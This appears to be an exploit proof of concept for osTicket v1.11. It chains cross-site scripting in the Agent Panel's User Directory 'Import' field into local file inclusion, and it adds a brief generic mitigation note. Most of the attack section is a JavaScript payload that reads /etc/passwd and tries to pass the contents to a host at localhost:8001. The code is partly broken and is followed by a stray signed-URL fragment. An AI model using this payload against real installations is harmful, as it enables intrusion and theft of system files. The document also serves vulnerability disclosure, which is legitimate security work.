osTicket v1.11 – Cross-Site Scripting to Local File Inclusion

This is exploit proof of concept as XSS attempt can lead to an LFI (Local File Inclusion) attack at osTicket. There are two different XSS vulnerabilities in the 'Import' field on the Agent Panel - User Directory field. This vulnerability causes a different vulnerability. The attacker can run the malicious JS file that he uploads in the XSS vulnerability. Uploaded JS files can be called clear text. Therefore, attackers do not have to use a different server to perform an attack. Then it is possible to create 'Local File Inclusion' vulnerability too.

Mitigation:

The user should ensure that the application is up to date and patched with the latest security updates. The user should also ensure that the application is configured securely and that all input is validated and sanitized.

# There are two different XSS vulnerabilities in the "Import"
field on the Agent Panel - User Directory field. This vulnerability
causes a different vulnerability. The attacker can run the malicious
JS file that he uploads in the XSS vulnerability. Uploaded JS files
can be called clear text. Therefore, attackers do not have to use
a different server to perform an attack. Then it is possible to
create "Local File Inclusion" vulnerability too.

The attacker can upload a JS file as follows.
------------------------------------------------------------------

function readTextFile(file)
{
    var rawFile = new XMLHttpRequest();
    rawFile.open("GET", file, false);
    rawFile.onreadystatechange = function ()
    {
        if(rawFile.readyState === 4)
        {
            if(rawFile.status === 200 || rawFile.status == 0)
            {
                var allText = rawFile.responseText;
                allText.src = 'http://localhost:8001' +
rawFile.responseText;
                document.body.appendChild(allText);
            }
        }
    }
    rawFile.send(null);
}

readTextFile("/etc/passwd");

&expires=1554854400&signature=be5cea87c37d7971e0c54164090a391066ecbaca&id=36"

After this process, we can run the JS file in XSS vulnerability.
